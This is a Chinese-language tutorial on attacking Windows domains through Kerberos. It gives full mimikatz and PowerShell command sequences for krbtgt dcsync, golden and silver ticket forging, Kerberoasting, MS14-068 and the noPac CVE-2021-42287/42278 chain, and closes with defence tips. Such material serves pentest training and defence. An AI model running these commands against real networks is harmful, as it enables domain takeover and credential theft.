内网漫游之Kerberos协议利用加经典漏洞利用总结
字数 1651 2025-08-29 08:30:36

Kerberos协议利用与经典漏洞利用总结

1. SPN(服务主体名称)基础

1.1 SPN定义

  • SPN是Kerberos客户端用于唯一标识特定Kerberos目标计算机的服务实例名称
  • 将服务实例与服务登录帐户相关联
  • 在整个林中的计算机上安装多个服务实例时,每个实例都必须有自己的SPN

1.2 SPN格式

<service class>/<host>:<port>/<service name>

  • 必须元素:服务类(如WWW、MySQL、MSSQL等)和主机名(FQDN或NetBIOS名)
  • 可选元素:端口号(默认端口可省略)和服务名称

1.3 SPN注册类型

  1. 注册在机器帐户(Computers)下:服务权限为Local System或Network Service时
  2. 注册在域用户帐户(Users)下:服务权限为域用户时

1.4 常见SPN示例

  • MSSQLSvc/adsmsSQLAP01.adssecurity.org:1433
  • ExchangeMDB/adsmsEXCAS01.adssecurity.org
  • TERMSERV/adsmsEXCAS01.adssecurity.org

2. SPN利用技术

2.1 SPN扫描

使用setspn.exe:

setspn -T test -Q */*  # 查找test域中所有SPN信息
setspn -T test -Q */* | findstr "MSSQLSvc"  # 查找特定服务

使用PowerView.ps1:

import-module c:\powerview.ps1
Get-NetComputer  # 获取域内所有机器信息
Get-NetUser  # 获取所有用户详细信息
Get-NetDomainController  # 获取域控制器信息

2.2 机器用户与域用户关系

  • 机器用户是computer类的实例,computer类是user类的子类
  • 机器用户具有域用户的所有属性
  • 以system权限运行时就是以机器用户登录域

提权为系统权限:

psexec.exe -i -s powershell.exe "whoami"

3. Kerberos协议基础

3.1 Kerberos认证流程

  1. AS-REQ: 客户端向KDC发起验证请求(客户端Hash加密的时间戳)
  2. AS-REP: KDC返回使用krbtgt加密的TGT票据(包含PAC)
  3. TGS-REQ: 客户端使用TGT请求特定服务
  4. TGS-REP: KDC返回使用服务hash加密的TGS票据
  5. AP-REQ: 客户端使用TGS请求服务
  6. AP-REP: 服务验证TGS并检查PAC权限

3.2 PAC(特权属性证书)

  • 包含用户的SID和所在组
  • 用于解决客户机访问权限问题
  • 只有KDC能制作和查看PAC

4. Kerberos攻击技术

4.1 黄金票据(Golden Ticket)

利用前提:

  • 域的SID
  • 域名
  • krbtgt用户的NTLM hash或AES256密钥

特点:

  1. 可绕过账户验证(20分钟内)
  2. 可设置任意有效期
  3. 即使KRBTGT密码更改一次仍有效
  4. 绕过SmartCard验证
  5. 可在非域主机上使用

利用步骤:

  1. 获取krbtgt hash:
lsadump::dcsync /domain:test.com /user:krbtgt
  1. 生成黄金票据:
kerberos::golden /domain:test.com /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi
  1. 注入票据:
kerberos::ptt c:\test\gold.kirbi

4.2 白银票据(Silver Ticket)

与黄金票据区别:

  • 伪造的是TGS票据而非TGT
  • 只能访问特定服务

利用方法:

kerberos::golden /domain:test.com /sid:S-1-5-21-652679085-3170934373-4212321231 /target:WIN2008.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt

4.3 Kerberoast攻击

原理:

  • 利用TGS-REP中使用服务实例NTLM hash加密的TGS票据
  • 通过离线爆破获取服务账户密码

利用步骤:

  1. 请求TGS:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc.test.com"
  1. 导出TGS:
kerberos::list /export
  1. 离线爆破:
    使用tgsrepcrack.py或kirbi2john.py工具

5. 经典漏洞利用

5.1 MS14-068漏洞

利用前提:

  • 域普通用户的SID、用户名、密码
  • 域控未打KB3011780补丁

利用方法:

MS14-068.exe -u 域用户@test.com -p 域用户密码 -s 域用户SID -d 域控ip

5.2 CVE-2021-42287 + CVE-2021-42278

前置知识:

  • S4U2self: 服务可代表用户申请针对自身的TGS
  • 机器账户默认以\(结尾,但漏洞允许创建不以\)结尾的账户

利用步骤:

  1. 添加机器账户:
New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx
  1. 清除SPN信息:
Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname'
  1. 重命名机器账户为DC(不加$):
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "DC" -Attribute samaccountname
  1. 请求TGT:
tgt::ask /user:sql /domain:warsec.com /password:123admiN@
  1. 恢复机器账户名:
Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname
  1. 请求S4U2self:
tgs::s4u /tgt:TGT_sql@WARSEC.COM_krbtgt~warsec.com@WARSEC.COM.kirbi /user:administrator /service:cifs/dc.warsec.com
  1. 获取krbtgt hash:
kerberos::ptt tgs.kirbi
lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x

6. 防御建议

  1. 定期更改krbtgt账户密码
  2. 限制机器账户创建权限(ms-ds-machineaccountquota)
  3. 及时安装安全补丁
  4. 监控异常Kerberos活动
  5. 实施最小权限原则
Kerberos协议利用与经典漏洞利用总结 1. SPN(服务主体名称)基础 1.1 SPN定义 SPN是Kerberos客户端用于唯一标识特定Kerberos目标计算机的服务实例名称 将服务实例与服务登录帐户相关联 在整个林中的计算机上安装多个服务实例时,每个实例都必须有自己的SPN 1.2 SPN格式 <service class>/<host>:<port>/<service name> 必须元素:服务类(如WWW、MySQL、MSSQL等)和主机名(FQDN或NetBIOS名) 可选元素:端口号(默认端口可省略)和服务名称 1.3 SPN注册类型 注册在机器帐户(Computers)下:服务权限为Local System或Network Service时 注册在域用户帐户(Users)下:服务权限为域用户时 1.4 常见SPN示例 MSSQLSvc/adsmsSQLAP01.adssecurity.org:1433 ExchangeMDB/adsmsEXCAS01.adssecurity.org TERMSERV/adsmsEXCAS01.adssecurity.org 2. SPN利用技术 2.1 SPN扫描 使用setspn.exe : 使用PowerView.ps1 : 2.2 机器用户与域用户关系 机器用户是computer类的实例,computer类是user类的子类 机器用户具有域用户的所有属性 以system权限运行时就是以机器用户登录域 提权为系统权限 : 3. Kerberos协议基础 3.1 Kerberos认证流程 AS-REQ: 客户端向KDC发起验证请求(客户端Hash加密的时间戳) AS-REP: KDC返回使用krbtgt加密的TGT票据(包含PAC) TGS-REQ: 客户端使用TGT请求特定服务 TGS-REP: KDC返回使用服务hash加密的TGS票据 AP-REQ: 客户端使用TGS请求服务 AP-REP: 服务验证TGS并检查PAC权限 3.2 PAC(特权属性证书) 包含用户的SID和所在组 用于解决客户机访问权限问题 只有KDC能制作和查看PAC 4. Kerberos攻击技术 4.1 黄金票据(Golden Ticket) 利用前提 : 域的SID 域名 krbtgt用户的NTLM hash或AES256密钥 特点 : 可绕过账户验证(20分钟内) 可设置任意有效期 即使KRBTGT密码更改一次仍有效 绕过SmartCard验证 可在非域主机上使用 利用步骤 : 获取krbtgt hash: 生成黄金票据: 注入票据: 4.2 白银票据(Silver Ticket) 与黄金票据区别 : 伪造的是TGS票据而非TGT 只能访问特定服务 利用方法 : 4.3 Kerberoast攻击 原理 : 利用TGS-REP中使用服务实例NTLM hash加密的TGS票据 通过离线爆破获取服务账户密码 利用步骤 : 请求TGS: 导出TGS: 离线爆破: 使用tgsrepcrack.py或kirbi2john.py工具 5. 经典漏洞利用 5.1 MS14-068漏洞 利用前提 : 域普通用户的SID、用户名、密码 域控未打KB3011780补丁 利用方法 : 5.2 CVE-2021-42287 + CVE-2021-42278 前置知识 : S4U2self: 服务可代表用户申请针对自身的TGS 机器账户默认以$结尾,但漏洞允许创建不以$结尾的账户 利用步骤 : 添加机器账户: 清除SPN信息: 重命名机器账户为DC(不加$): 请求TGT: 恢复机器账户名: 请求S4U2self: 获取krbtgt hash: 6. 防御建议 定期更改krbtgt账户密码 限制机器账户创建权限(ms-ds-machineaccountquota) 及时安装安全补丁 监控异常Kerberos活动 实施最小权限原则